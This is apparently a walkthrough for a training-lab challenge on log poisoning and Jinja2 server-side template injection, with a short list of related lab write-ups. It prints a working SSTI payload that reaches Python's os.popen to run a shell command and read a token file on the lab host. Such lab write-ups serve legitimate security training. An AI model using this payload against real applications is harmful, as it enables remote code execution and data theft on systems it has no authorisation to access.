IML - Log Poisoning
Log Poisoning - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.
IML - Log Poisoning#
This is log poisoning and Jinja SSTI
Reset if you get Internal Server Error
Register new user
Go to search term and search for "user=admin"
While on that search result page - change the URL to http://10.102.122.21/raw/log.txt
You should be able to view the raw log file now
Go back to search and use the payload:
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("cat /tmp/token.txt").read()}}{% endif %}{% endfor %}Now search for user=admin again and go to http://10.102.122.21/raw/log.txt
- And we get the token:

https://jayaye15.medium.com/jinja2-server-side-template-injection-ssti-9e209a6bbdf6
Related articles
IML - Offensive Cyber Range: Artica Shipping Company
Offensive Cyber Range Artica Shipping Company - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.
- ftp
- nmap
- privilege escalation
- python
- rce
IML - Cross-Site Scripting: Ep.6 – Further Exploitation
Cross-Site Scripting Ep.6 – F - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.
- privilege escalation
- python
- rce
- tryhackme
- hackthebox
IML - Kerberos: Ep.13 – Demonstrate your skills
Kerberos Ep.13 – Demonstrate your skills - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.
- hashcat
- john the ripper
- kerberos
- mimikatz
- powershell